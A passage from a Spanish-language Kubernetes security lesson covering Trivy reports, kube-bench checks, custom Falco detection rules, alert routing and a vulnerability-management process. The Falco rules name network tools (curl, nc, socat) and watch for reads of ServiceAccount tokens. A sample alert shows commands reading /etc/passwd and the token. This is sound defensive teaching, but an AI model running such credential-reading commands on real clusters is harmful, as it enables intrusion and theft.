statefulset-postgres-reservas-postgres        externas/postgres                     16.4     Trivy     3h    0          1      3        7
statefulset-redis-cache-redis                 externas/redis                        7.4      Trivy     3h    0          0      0        2
replicaset-worker-notificaciones-6d4f8-worker rutasnorte/worker-notificaciones      3.2.0    Trivy     3h    0          0      1        3

Que sean recursos de Kubernetes tiene consecuencias muy prácticas: se consultan con kubectl, se pueden filtrar con selectores, y el operador expone métricas Prometheus, así que se integran con los cuadros de mando y las alertas del módulo 7 sin ningún trabajo adicional.

# Detalle de las vulnerabilidades críticas de un informe
kubectl get vulnerabilityreport -n rutas-norte-pro \
  replicaset-api-reservas-6d4f8b9c7-api -o json \
  | jq -r '.report.vulnerabilities[]
      | select(.severity == "CRITICAL")
      | "\(.vulnerabilityID)  \(.resource) \(.installedVersion) -> \(.fixedVersion)\n  \(.title)"'
CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
  Improper verification of signature allows token forgery

Los otros informes del operador

Recurso Qué contiene
vulnerabilityreports Vulnerabilidades de las imágenes
configauditreports Malas configuraciones de los manifiestos
exposedsecretreports Secretos encontrados dentro de las imágenes
rbacassessmentreports Permisos RBAC excesivos
infraassessmentreports Configuración de los componentes del plano de control
clustercompliancereports Cumplimiento de estándares (CIS, NSA)

Los configauditreports merecen atención porque comprueban cosas de 08-02 y 08-03:

kubectl get configauditreports -n rutas-norte-pro \
  -o custom-columns='CARGA:.metadata.name,CRIT:.report.summary.criticalCount,ALTA:.report.summary.highCount'
CARGA                                      CRIT   ALTA
replicaset-api-reservas-6d4f8b9c7          0      0
statefulset-postgres-reservas              0      1
daemonset-fluent-bit-collector             0      2
kubectl get configauditreport -n rutas-norte-pro statefulset-postgres-reservas \
  -o json | jq -r '.report.checks[] | select(.severity == "HIGH")
    | "\(.checkID): \(.title)\n  \(.description)"'
KSV014: Root file system is not read-only
  An immutable root file system prevents applications from writing to their
  local disk.

Es exactamente la excepción documentada de 08-02. El operador la detecta correctamente; nuestra tarea es tenerla registrada como excepción consciente, no ignorarla.

Y el clustercompliancereports da la visión de conjunto:

kubectl get clustercompliancereport cis -o json \
  | jq -r '.status.summary'
{
  "passCount": 87,
  "failCount": 9
}

  1. Evaluación del clúster con kube-bench y los estándares CIS

Los escaneos anteriores miran las cargas. kube-bench mira el clúster: comprueba la configuración de los componentes del plano de control y de los nodos contra el CIS Kubernetes Benchmark, un conjunto de recomendaciones de configuración segura mantenido por el Center for Internet Security.

# k8s/seguridad/kube-bench-job.yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: kube-bench-nodos
  namespace: rutas-norte-sistema      # el namespace privilegiado de 08-03
spec:
  template:
    spec:
      # kube-bench necesita leer la configuración del nodo: por eso va aquí
      hostPID: true
      restartPolicy: Never
      containers:
        - name: kube-bench
          image: registry.rutasnorte.example/externas/kube-bench:v0.8.0
          command: ["kube-bench", "run", "--targets", "node", "--json"]
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
          volumeMounts:
            - { name: var-lib-kubelet, mountPath: /var/lib/kubelet, readOnly: true }
            - { name: etc-kubernetes, mountPath: /etc/kubernetes, readOnly: true }
            - { name: etc-systemd, mountPath: /etc/systemd, readOnly: true }
      volumes:
        - name: var-lib-kubelet
          hostPath: { path: /var/lib/kubelet }
        - name: etc-kubernetes
          hostPath: { path: /etc/kubernetes }
        - name: etc-systemd
          hostPath: { path: /etc/systemd }

Nota que este Job usa hostPID y hostPath, que en 08-03 prohibimos en rutas-norte-pro. Por eso va en rutas-norte-sistema, el namespace con perfil privileged. Es un uso legítimo y acotado: solo lee, y está endurecido en todo lo demás.

kubectl apply -f k8s/seguridad/kube-bench-job.yaml
kubectl logs -n rutas-norte-sistema job/kube-bench-nodos | head -40
[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow
[FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
[PASS] 4.2.9 Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture
[WARN] 4.2.12 Ensure that the RotateKubeletServerCertificate argument is set to true

== Remediations node ==
4.2.6 If using a Kubelet config file, edit the file to set protectKernelDefaults: true.
      If using command line arguments, edit the kubelet service file
      /etc/systemd/system/kubelet.service.d/10-kubeadm.conf and set --protect-kernel-defaults=true

== Summary node ==
21 checks PASS
1 checks FAIL
2 checks WARN

Qué hacer con los hallazgos

Este es el punto donde muchos equipos se pierden: kube-bench devuelve decenas de comprobaciones y no todas son igual de importantes ni todas son aplicables.

Tipo de hallazgo Qué hacer
FAIL en el plano de control Prioridad alta. Suelen ser cambios de configuración concretos con remediación documentada
FAIL en el kubelet Prioridad alta. Recuerda de 08-04 la importancia de la configuración del kubelet
WARN Revisar caso por caso; a menudo depende del entorno
INFO Informativo
No aplicable en Kubernetes gestionado Documentar como no aplicable, no ignorar en silencio

Ese último punto es importante. En EKS, AKS o GKE no tienes acceso al plano de control, así que casi todas las comprobaciones de la sección 1 son inaplicables. Lo correcto no es ignorarlas: es documentar que las gestiona el proveedor y, si la organización lo requiere, pedirle a este su informe de cumplimiento.

Los hallazgos de este ejemplo, resueltos:

Hallazgo Acción Estado
4.2.6 --protect-kernel-defaults Añadir a la configuración del kubelet y reiniciar los nodos por tandas Planificado
4.2.12 Rotación de certificados del kubelet Activar RotateKubeletServerCertificate Planificado

Y para no depender de ejecuciones manuales, un CronJob semanal cuyo resultado alimente el mismo proceso de gestión que las vulnerabilidades:

apiVersion: batch/v1
kind: CronJob
metadata:
  name: kube-bench-semanal
  namespace: rutas-norte-sistema
spec:
  schedule: "0 5 * * 1"      # lunes a las 05:00
  jobTemplate:
    spec:
      template:
        spec:
          # (misma especificación que el Job anterior)
          restartPolicy: Never
          containers:
            - name: kube-bench
              image: registry.rutasnorte.example/externas/kube-bench:v0.8.0
              command:
                - sh
                - -c
                - |
                  kube-bench run --targets node --json > /tmp/resultado.json
                  fallos=$(jq '[.Controls[].tests[].results[]
                                | select(.status == "FAIL")] | length' /tmp/resultado.json)
                  echo "Comprobaciones fallidas: $fallos"
                  cat /tmp/resultado.json
                  # Si aumentan respecto a la línea base conocida, salir con error
                  [ "$fallos" -le 2 ] || exit 1

La comparación con una línea base conocida es la clave para que esto sea útil: no alerta de los hallazgos ya conocidos y aceptados, solo de las desviaciones nuevas. Una herramienta que alerta de lo mismo cada semana se acaba silenciando.

  1. Detección en tiempo de ejecución con Falco

Todo lo anterior es preventivo (impedir) o de configuración (comprobar). Falco es detectivo: observa lo que ocurre de verdad, mientras ocurre.

Qué observa

Falco intercepta las llamadas al sistema que hacen los procesos de los contenedores, usando eBPF o un módulo del kernel. Cada vez que un proceso abre un fichero, ejecuta un binario, crea una conexión o lee un descriptor, Falco lo ve y lo compara con sus reglas.

Esto es lo que le permite detectar cosas que ningún control preventivo puede:

Control Cuándo actúa Qué no ve
RBAC (08-01) Peticiones a la API Nada de lo que pasa dentro del contenedor
PSA (08-03) Creación del pod Lo que hace el pod después
NetworkPolicy (08-04) Conexiones de red Actividad local en el contenedor
Escaneo (apartado 5) Antes del despliegue Lo que ocurre en ejecución
Falco Continuamente, en ejecución

Instalación

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace rutas-norte-sistema \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.alertmanager.hostport=http://alertmanager.monitorizacion:9093

modern_ebpf usa el soporte de eBPF del kernel sin necesidad de compilar un módulo, que es la opción preferida en kernels recientes. Falco corre como DaemonSet en rutas-norte-sistema porque necesita privilegios de nodo: es uno de los casos legítimos del apartado 6 de 08-03.

Reglas para Rutas Norte

# k8s/seguridad/falco-reglas-rutasnorte.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-reglas-rutasnorte
  namespace: rutas-norte-sistema
data:
  rutasnorte_reglas.yaml: |
    # ============================================================
    # Listas y macros reutilizables
    # ============================================================
    - list: namespaces_produccion
      items: [rutas-norte-pro]

    - list: binarios_shell
      items: [bash, sh, zsh, ash, dash, ksh, csh, fish]

    - macro: en_produccion
      condition: k8s.ns.name in (namespaces_produccion)

    - macro: contenedor
      condition: container.id != host

    # ============================================================
    # Regla 1: shell abierta en un contenedor de producción
    # ============================================================
    # Nuestras imágenes distroless (08-05) NO tienen shell. Que aparezca
    # un proceso de shell en producción significa una de dos cosas:
    #   a) alguien hizo kubectl exec (debería verse en la auditoría), o
    #   b) alguien ejecuta código dentro del contenedor.
    # Ambas requieren investigación inmediata.
    - rule: Shell abierta en contenedor de produccion
      desc: >-
        Se ha iniciado un proceso de intérprete de órdenes dentro de un
        contenedor del namespace de producción. Las imágenes de Rutas Norte
        no incluyen shell, por lo que esto no debería ocurrir nunca.
      condition: >
        spawned_process
        and contenedor
        and en_produccion
        and proc.name in (binarios_shell)
      output: >
        Shell abierta en produccion
        (usuario=%user.name proceso=%proc.cmdline padre=%proc.pname
         contenedor=%container.name imagen=%container.image.repository
         pod=%k8s.pod.name ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, produccion, shell, T1059]

    # ============================================================
    # Regla 2: escritura en directorios del sistema
    # ============================================================
    # Todos nuestros contenedores llevan readOnlyRootFilesystem: true
    # (08-02), así que esto debería fallar SIEMPRE. Si el intento existe,
    # algo está intentando modificar binarios o configuración del sistema.
    - rule: Escritura en directorio del sistema
      desc: >-
        Intento de escritura en un directorio del sistema dentro de un
        contenedor. Con readOnlyRootFilesystem el intento fallará, pero
        su mera existencia indica actividad anómala.
      condition: >
        open_write
        and contenedor
        and en_produccion
        and fd.name startswith (/bin, /sbin, /usr/bin, /usr/sbin, /usr/lib,
                                /lib, /etc, /boot)
        and not proc.name in (dpkg, apt, apk, rpm)
      output: >
        Escritura en directorio del sistema
        (fichero=%fd.name proceso=%proc.cmdline usuario=%user.name
         pod=%k8s.pod.name ns=%k8s.ns.name imagen=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccion, integridad, T1222]

    # ============================================================
    # Regla 3: lectura del token de la ServiceAccount
    # ============================================================
    # En 03-06 pusimos automountServiceAccountToken: false en casi todo.
    # Los pocos pods que sí lo montan lo leen a través de su biblioteca
    # cliente. Una lectura desde una shell o una utilidad genérica es
    # el patrón clásico de reconocimiento tras un compromiso.
    - rule: Lectura del token de ServiceAccount por proceso inesperado
      desc: >-
        Un proceso que no es la aplicación ha leído el token de la
        ServiceAccount montado en el pod.
      condition: >
        open_read
        and contenedor
        and fd.name contains /var/run/secrets/kubernetes.io/serviceaccount/token
        and not proc.name in (node, python3, java, nginx, postgres, redis-server)
      output: >
        Token de ServiceAccount leido por proceso inesperado
        (proceso=%proc.cmdline usuario=%user.name padre=%proc.pname
         pod=%k8s.pod.name ns=%k8s.ns.name sa=%k8s.pod.serviceaccount)
      priority: CRITICAL
      tags: [rutasnorte, credenciales, T1552]

    # ============================================================
    # Regla 4: conexión saliente inesperada
    # ============================================================
    # Complementa la NetworkPolicy de 08-04: la política BLOQUEA, Falco
    # REGISTRA el intento con el proceso que lo hizo, que es información
    # que la política no puede dar.
    - rule: Conexion saliente desde componente sin permiso de salida
      desc: >-
        Un componente que no debe alcanzar internet ha intentado abrir una
        conexión saliente. La NetworkPolicy lo bloqueará, pero registramos
        qué proceso lo intentó.
      condition: >
        outbound
        and contenedor
        and en_produccion
        and k8s.pod.label.app in (tienda-web, postgres-reservas, redis-cache,
                                  informes-ocupacion)
        and not fd.sip in (cluster_cidr)
        and not fd.sport in (53)
      output: >
        Conexion saliente inesperada
        (destino=%fd.sip:%fd.sport proceso=%proc.cmdline
         pod=%k8s.pod.name app=%k8s.pod.label.app ns=%k8s.ns.name)
      priority: WARNING
      tags: [rutasnorte, red, exfiltracion, T1041]

    # ============================================================
    # Regla 5: herramientas de descarga en producción
    # ============================================================
    - rule: Herramienta de descarga ejecutada en produccion
      desc: >-
        Se ha ejecutado curl, wget u otra herramienta de descarga dentro de
        un contenedor de producción. Nuestras imágenes no las incluyen.
      condition: >
        spawned_process
        and contenedor
        and en_produccion
        and proc.name in (curl, wget, nc, ncat, socat, ftp, tftp)
      output: >
        Herramienta de descarga en produccion
        (proceso=%proc.cmdline padre=%proc.pname pod=%k8s.pod.name
         imagen=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccion, T1105]

    # ============================================================
    # Regla 6: modificación de la configuración de contenedores
    # ============================================================
    - rule: Acceso al socket del entorno de ejecucion
      desc: >-
        Un proceso ha accedido al socket de containerd o Docker. Como
        vimos en 08-02, eso equivale a privilegios de nodo.
      condition: >
        (open_read or open_write)
        and contenedor
        and fd.name in (/var/run/docker.sock, /run/containerd/containerd.sock,
                        /var/run/crio/crio.sock)
      output: >
        Acceso al socket del entorno de ejecucion
        (fichero=%fd.name proceso=%proc.cmdline pod=%k8s.pod.name
         ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, escape, T1610]

Fíjate en el hilo que recorre todas las reglas: cada una se apoya en una decisión de diseño de las lecciones anteriores. La regla de la shell funciona porque usamos imágenes distroless (08-05). La de escritura en el sistema, porque pusimos readOnlyRootFilesystem (08-02). La del token, porque desmontamos los tokens innecesarios (03-06). La de salida, porque restringimos el egreso (08-04).

Un buen conjunto de reglas de detección no es genérico: es el reflejo de lo que tu plataforma debería y no debería hacer. Y por eso mismo, cuanto más estricta es la configuración, más significativa es cada alerta y menos falsos positivos hay.

Ver las alertas

kubectl logs -n rutas-norte-sistema -l app.kubernetes.io/name=falco --tail=20 | grep Critical
03:47:08.229481022: Critical Shell abierta en produccion (usuario=root
proceso=sh -c "cat /etc/passwd" padre=node contenedor=worker
imagen=registry.rutasnorte.example/rutasnorte/worker-notificaciones
pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro)

03:47:09.884113047: Critical Token de ServiceAccount leido por proceso inesperado
(proceso=cat /var/run/secrets/kubernetes.io/serviceaccount/token usuario=root
padre=sh pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro
sa=worker-notificaciones)

Ese es el mismo pod del ejercicio de 08-04, ahora visto desde dentro. Falco nos dice exactamente qué proceso se lanzó y con qué línea de órdenes. Combinado con los flujos de red de Hubble y con los 403 del registro de auditoría, tenemos la reconstrucción completa del incidente desde tres fuentes independientes.

  1. Integrar las alertas de Falco con Alertmanager

En el módulo 7 montamos Alertmanager con sus rutas, sus silencios y sus canales. Falco debe usar esa infraestructura, no crear una paralela.

Falcosidekick es el componente que reenvía las alertas de Falco a distintos destinos:

# k8s/seguridad/falcosidekick-valores.yaml
falcosidekick:
  enabled: true
  config:
    # Envía a Alertmanager, que ya sabe encaminar (07-04)
    alertmanager:
      hostport: "http://alertmanager.monitorizacion.svc.cluster.local:9093"
      minimumpriority: "warning"
      # Etiquetas que permiten encaminar en Alertmanager
      customfields: "plataforma:rutas-norte,origen:falco"
      extralabels: "equipo:plataforma"
    # Métricas para Prometheus: permite cuadros de mando y alertas agregadas
    prometheus:
      extralabels: "plataforma:rutas-norte"
    # Los eventos también van al log centralizado (07-05)
    elasticsearch:
      hostport: "http://elasticsearch.registro.svc.cluster.local:9200"
      index: "falco-seguridad"
      minimumpriority: "notice"

Y la ruta en Alertmanager:

# k8s/base/monitorizacion/alertmanager-config.yaml (fragmento)
route:
  receiver: equipo-plataforma
  group_by: [alertname, namespace]
  routes:
    # Alertas de seguridad críticas: canal dedicado y aviso inmediato
    - matchers:
        - origen = "falco"
        - severity = "critical"
      receiver: seguridad-urgente
      group_wait: 0s              # sin agrupar: se envía al instante
      repeat_interval: 15m
      continue: true              # sigue evaluando: también al canal general

    - matchers:
        - origen = "falco"
      receiver: seguridad-general
      group_interval: 5m

receivers:
  - name: seguridad-urgente
    webhook_configs:
      - url: https://avisos.rutasnorte.example/guardia-seguridad
    # Además de la guardia, al canal del equipo
    # (configuración del canal según la herramienta de la organización)

  - name: seguridad-general
    webhook_configs:
      - url: https://avisos.rutasnorte.example/canal-seguridad

Detalles de la configuración que importan:

  • group_wait: 0s para las críticas: durante un incidente en curso, agrupar durante 30 segundos es tiempo perdido.
  • continue: true: la alerta se envía a la guardia y al canal del equipo, para que quede constancia visible.
  • Elasticsearch además de Alertmanager: las alertas quedan buscables junto con los logs del módulo 7, lo que permite correlacionar durante la investigación.

Y una regla agregada en Prometheus, para detectar patrones que una alerta individual no captura:

apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: alertas-falco
  namespace: monitorizacion
spec:
  groups:
    - name: seguridad-tiempo-ejecucion
      rules:
        - alert: RafagaDeAlertasDeSeguridad
          expr: |
            sum by (k8s_ns_name, k8s_pod_name) (
              rate(falco_events{priority=~"Critical|Error"}[5m])
            ) > 0.1
          for: 2m
          labels:
            severity: critical
            equipo: plataforma
            origen: falco-agregado
          annotations:
            summary: >-
              Ráfaga de eventos de seguridad en {{ $labels.k8s_pod_name }}
            description: >-
              El pod {{ $labels.k8s_ns_name }}/{{ $labels.k8s_pod_name }} está
              generando eventos críticos de Falco de forma sostenida. Un evento
              aislado puede ser una operación legítima; una ráfaga indica
              actividad anómala en curso.
              Procedimiento de contención: aislar el pod cambiando su etiqueta
              app y aplicar la NetworkPolicy de cuarentena.
            runbook_url: https://wiki.rutasnorte.example/runbooks/incidente-falco

        - alert: FalcoNoEstaFuncionando
          expr: |
            count(kube_daemonset_status_number_ready{daemonset="falco"}) == 0
            or
            kube_daemonset_status_number_ready{daemonset="falco"}
              < kube_daemonset_status_desired_number_scheduled{daemonset="falco"}
          for: 10m
          labels:
            severity: critical
            equipo: plataforma
          annotations:
            summary: "Falco no está corriendo en todos los nodos"
            description: >-
              Sin Falco en un nodo, la actividad de sus contenedores no se
              observa. Un atacante podría desactivarlo deliberadamente.

Esa segunda alerta es tan importante como las primeras y se olvida constantemente: hay que vigilar que el vigilante funcione. Un sistema de detección apagado no genera alertas, y la ausencia de alertas se confunde muy fácilmente con la ausencia de problemas.

Reducir el ruido

Falco recién instalado genera muchos falsos positivos. El proceso es el mismo que hemos seguido con el PSA y el WAF:

  1. Desplegar y observar durante una o dos semanas sin encaminar alertas a nadie.
  2. Identificar los patrones legítimos que disparan reglas.
  3. Añadir excepciones específicas (no desactivar la regla entera).
  4. Solo entonces, encaminar a la guardia.
    # Ejemplo de excepción bien acotada
    - rule: Shell abierta en contenedor de produccion
      append: true
      exceptions:
        - name: sondas_del_recolector_de_logs
          fields: [k8s.pod.label.app, proc.pname]
          comps: [=, =]
          values:
            - [fluent-bit, tini]

Una excepción por etiqueta de aplicación y proceso padre es específica. Desactivar la regla en todo un namespace no lo es. La diferencia decide si la herramienta sirve de algo dentro de seis meses.

  1. Gestión de vulnerabilidades como proceso

Aquí llegamos a lo que de verdad falta en la mayoría de equipos. Tener herramientas que encuentran vulnerabilidades es la parte fácil. Lo difícil es hacer algo con ellas de forma sostenida.

El patrón de fracaso es siempre el mismo: se instala un escáner, arroja 340 hallazgos, nadie sabe por dónde empezar, se decide "lo miramos la semana que viene", y seis meses después son 780 y nadie los mira.

Los cinco elementos del proceso

flowchart LR
    A["1. Inventario<br/>¿qué tengo?"] --> B["2. Priorización<br/>¿qué importa?"]
    B --> C["3. Plazos<br/>¿para cuándo?"]
    C --> D["4. Responsable<br/>¿quién?"]
    D --> E["5. Excepciones<br/>¿qué no arreglo<br/>y hasta cuándo?"]
    E --> A

  1. Inventario

No puedes gestionar lo que no conoces. El inventario responde a: qué imágenes están corriendo, con qué digest, qué contienen, y desde cuándo.

Ya tenemos las piezas de 08-05: el registro propio, los digests y los SBOM. Solo hay que juntarlas:

#!/usr/bin/env bash
# seguridad/inventario.sh — inventario de lo que corre en producción
kubectl get pods -n rutas-norte-pro -o json | jq -r '
  .items[]
  | .metadata.labels.app as $app
  | .status.containerStatuses[]?
  | "\($app)\t\(.name)\t\(.imageID)"' | sort -u
api-reservas	api	registry.rutasnorte.example/rutasnorte/api-reservas@sha256:9f2c1d4e...
api-reservas	embajador-pagos	registry.rutasnorte.example/rutasnorte/embajador-pagos@sha256:3c8e1f5a...
postgres-reservas	exportador-metricas	registry.rutasnorte.example/externas/postgres-exporter@sha256:1b4e7a2c...
postgres-reservas	postgres	registry.rutasnorte.example/externas/postgres@sha256:2a7f4c8d...
redis-cache	redis	registry.rutasnorte.example/externas/redis@sha256:6d1a3f9b...
tienda-web	nginx	registry.rutasnorte.example/externas/nginx-unprivileged@sha256:7d3b2f8e...
worker-notificaciones	adaptador-logs	registry.rutasnorte.example/rutasnorte/adaptador-logs@sha256:4f2c9e1d...
worker-notificaciones	worker	registry.rutasnorte.example/rutasnorte/worker-notificaciones@sha256:5e8a1b7c...

Ocho imágenes. Un inventario que cabe en una pantalla es un inventario que se puede gestionar.

  1. Priorización realista

Este es el apartado más importante y el peor entendido.

No todo CVE crítico es urgente. La severidad de un CVE (el CVSS) mide la gravedad en abstracto, sin conocer tu entorno. Un CVSS 9.8 en un componente que no está presente en tu ruta de ejecución, o que no procesa entrada externa, es menos urgente que un CVSS 6.5 en la biblioteca que interpreta las peticiones HTTP de api-reservas.

Los factores que hay que combinar:

Factor Pregunta Peso
Severidad (CVSS) ¿Cómo de grave es en abstracto? Punto de partida
¿Hay corrección? ¿Puedo actualizar hoy? Alto: sin corrección no hay acción
¿Se explota activamente? ¿Está en el catálogo KEV de vulnerabilidades explotadas? Muy alto
Exposición ¿El componente atiende peticiones de internet? Muy alto
Ruta de ejecución ¿Se usa realmente el código vulnerable? Alto
Datos afectados ¿Da acceso a datos personales? Muy alto
Compensaciones ¿Hay controles que lo mitigan? Medio

Aplicado a Rutas Norte con dos hallazgos reales:

CVE-2026-12033 (jsonwebtoken) CVE-2026-11042 (libssl3)
Severidad CRITICAL (9.1) HIGH (7.5)
¿Corrección? Sí: 9.0.3 Sí: 3.0.15-1
¿En KEV? No No
Componente api-reservas, expuesto a internet api-reservas
¿Se usa la ruta? : valida los tokens de sesión de cada petición No: la ruta afectada es la de renegociación TLS, que no usamos
¿Datos personales? : la sesión da acceso a las reservas del cliente Indirectamente
Compensaciones Ninguna El TLS lo termina el Ingress (04-05), no la aplicación
Prioridad P1: corregir en 24 h P3: en el ciclo normal

Las dos tienen corrección. Una es crítica y la otra alta. Pero la primera afecta directamente a la validación de sesiones de una API pública que da acceso a datos de clientes, y la segunda está en una ruta de código que ni siquiera se ejecuta. Tratarlas igual sería un error de gestión en las dos direcciones: retrasaría la urgente y forzaría prisa innecesaria en la otra.

Herramientas que ayudan a esta priorización:

Fuente Qué aporta
KEV (catálogo de vulnerabilidades explotadas conocidas) Lista de CVE con explotación confirmada. Si está aquí, es P1
EPSS (sistema de puntuación de probabilidad de explotación) Probabilidad de que se explote en los próximos 30 días
VEX (intercambio de explotabilidad) Declaración del fabricante sobre si su producto está realmente afectado
SBOM propio (08-05) Si el componente está o no en la ruta de ejecución
# Trivy puede incorporar EPSS y KEV en el informe
trivy image --scanners vuln \
  --vex repo \
  --severity CRITICAL,HIGH \
  registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1

  1. Plazos por severidad

Sin plazos, "lo arreglamos cuando podamos" significa nunca. La tabla de Rutas Norte:

Prioridad Criterio Plazo de corrección Escalado si se incumple
P1 Crítica explotable en componente expuesto, o presente en KEV 24 horas Dirección técnica de inmediato
P2 Crítica o alta con corrección, en componente expuesto 7 días Responsable de plataforma a los 7 días
P3 Alta con corrección, componente no expuesto 30 días Revisión mensual
P4 Media 90 días Ciclo normal de actualización
P5 Baja, o sin corrección disponible Siguiente reconstrucción programada Revisión trimestral

Estos plazos se cuentan desde la detección, no desde la publicación del CVE. Y hay una consecuencia operativa que hay que asumir: cumplir 24 horas para un P1 exige que el proceso de reconstrucción, escaneo, firma y despliegue funcione en menos de eso. Es exactamente el argumento de 08-05 sobre reconstruir semanalmente: un procedimiento que se ejecuta a menudo es un procedimiento que responde cuando hace falta.

  1. Responsable asignado

Ámbito Responsable
Dependencias de la aplicación (npm, PyPI) El equipo que mantiene el componente
Imágenes base Plataforma
Imágenes públicas replicadas (externas/) Plataforma
Configuración del clúster (hallazgos de kube-bench) Plataforma
Decisión sobre excepciones Plataforma + seguridad
Excepciones que afectan a datos personales + responsable de cumplimiento

Sin un nombre, cada hallazgo es responsabilidad de todos, que es la forma más eficaz de que no lo sea de nadie.

  1. Excepciones documentadas con fecha de caducidad

Habrá vulnerabilidades que no se puedan corregir a tiempo. Eso es normal y aceptable si se gestiona.

# seguridad/excepciones-vulnerabilidades.yaml
# Registro de excepciones vigentes. Revisión mensual.
# Una excepción caducada bloquea la construcción hasta que se renueva o se corrige.

excepciones:
  - cve: CVE-2025-98004
    componente: zlib1g
    imagenes: ["rutasnorte/api-reservas", "rutasnorte/worker-notificaciones"]
    severidad: LOW
    motivo: >-
      Sin corrección disponible del mantenedor. La ruta de código afectada
      (descompresión de flujos gzip malformados) no se ejecuta: la aplicación
      no descomprime contenido de origen externo.
    mitigacion: >-
      El Ingress rechaza cuerpos comprimidos superiores a 2 MB (08-04).
    aprobada_por: seguridad
    responsable: plataforma
    fecha_aprobacion: 2026-08-01
    fecha_caducidad: 2026-10-01     # OBLIGATORIA
    revision: mensual

  - cve: CVE-2026-10877
    componente: libc6
    imagenes: ["rutasnorte/api-reservas"]
    severidad: MEDIUM
    motivo: >-
      La corrección requiere subir la imagen base a Debian 13, que rompe la
      compatibilidad de una dependencia nativa. Migración planificada.
    mitigacion: >-
      El componente corre sin root, con capacidades eliminadas y sistema de
      ficheros de solo lectura (08-02).
    aprobada_por: seguridad
    responsable: equipo-api
    fecha_aprobacion: 2026-07-15
    fecha_caducidad: 2026-09-15
    tarea: PLAT-1847
    revision: quincenal

Y la comprobación automática que da sentido a la fecha de caducidad:

#!/usr/bin/env bash
# ci/verificar-excepciones.sh
# Falla si hay excepciones caducadas. Se ejecuta en cada construcción.
set -euo pipefail
HOY=$(date -u +%Y-%m-%d)
caducadas=0

while read -r cve caducidad responsable; do
  if [[ "$caducidad" < "$HOY" ]]; then
    echo "CADUCADA: $cve (venció el $caducidad, responsable: $responsable)"
    caducadas=$((caducadas + 1))
  fi
done < <(yq -r '.excepciones[] | "\(.cve) \(.fecha_caducidad) \(.responsable)"' \
           seguridad/excepciones-vulnerabilidades.yaml)

if [[ "$caducadas" -gt 0 ]]; then
  echo
  echo "Hay $caducadas excepciones caducadas. Corrige la vulnerabilidad o"
  echo "renueva la excepción con aprobación de seguridad antes de continuar."
  exit 1
fi
echo "Todas las excepciones vigentes."

Esto es lo que convierte una excepción en una decisión gestionada en lugar de en un olvido permanente. Sin fecha de caducidad, .trivyignore se convierte en el cementerio donde van a morir las vulnerabilidades que nadie quiso mirar.

El ritmo del proceso

Frecuencia Actividad Quién
Cada construcción Escaneo con umbral; comprobación de excepciones caducadas Automático
Diaria Informe de auditoría; revisión de alertas de Falco Plataforma (15 min)
Semanal Escaneo del registro y de lo que corre; kube-bench Automático + revisión
Semanal Reconstrucción programada de todas las imágenes (08-05) Automático
Quincenal Repaso de hallazgos P2 y P3 abiertos Plataforma
Mensual Revisión de excepciones próximas a caducar Plataforma + seguridad
Trimestral Revisión de RBAC (08-01), políticas de red (08-04) y excepciones Plataforma + seguridad
Trimestral Revisión de accesos a datos personales + cumplimiento
Anual Revisión completa del diseño de seguridad Dirección + seguridad externa

  1. Evidencias y auditorías de cumplimiento

Cuando llega una auditoría —de una certificación, de un cliente corporativo o de una autoridad de control— no basta con decir "sí, tenemos controles". Hay que demostrarlo con evidencias.

Qué piden las auditorías y de dónde sale

Pregunta del auditor Evidencia Origen
¿Quién puede acceder a los datos personales? Salida de kubectl auth can-i por grupo, fechada 08-01
¿Quién accedió realmente en el último trimestre? Consulta del registro de auditoría sobre Secrets Esta lección
¿Cómo garantizáis que solo se ejecuta software aprobado? Políticas de admisión + verificación de firmas 08-03, 08-05
¿Cómo detectáis actividad anómala? Reglas de Falco + alertas de Hubble Esta lección, 08-04
¿Cuál es vuestro proceso de gestión de vulnerabilidades? Documento del proceso + registro de excepciones Esta lección
¿Cuánto tardáis en corregir una vulnerabilidad crítica? Historial de plazos reales frente a los comprometidos Registro de tareas
¿Está cifrado el almacenamiento de datos personales? Configuración de la StorageClass + cifrado de etcd 05-04, 08-04
¿Cómo se protege la copia de seguridad? Configuración de Velero + cifrado 05-06
¿Se revisan los permisos periódicamente? Actas de las revisiones trimestrales 08-01

Qué evidencias conservar y cuánto

Evidencia Retención sugerida Motivo
Registro de auditoría del apiserver 90 días en caliente, 1 año en frío Investigación de incidentes; muchos se detectan meses después
Alertas de Falco 1 año Correlación en investigaciones
Informes de escaneo de imágenes 1 año Demostrar el estado en un momento dado
Informes de kube-bench 1 año Evolución del cumplimiento
Registro de excepciones (histórico) Permanente Demostrar que las decisiones fueron conscientes
Actas de revisión trimestral 3 años Demostrar la periodicidad del proceso
Firmas y atestaciones de imágenes Mientras la imagen esté desplegada + 1 año Trazabilidad de qué se ejecutó

Consideración de protección de datos sobre el propio registro de auditoría. El log de auditoría contiene nombres de usuario, direcciones IP y marcas temporales: son datos personales de los empleados. Su tratamiento necesita su propia base legal, su plazo de conservación definido y su control de acceso. No es un fichero técnico neutro. El plazo de retención debe fijarlo el responsable de cumplimiento, equilibrando la necesidad de investigación con el principio de minimización.

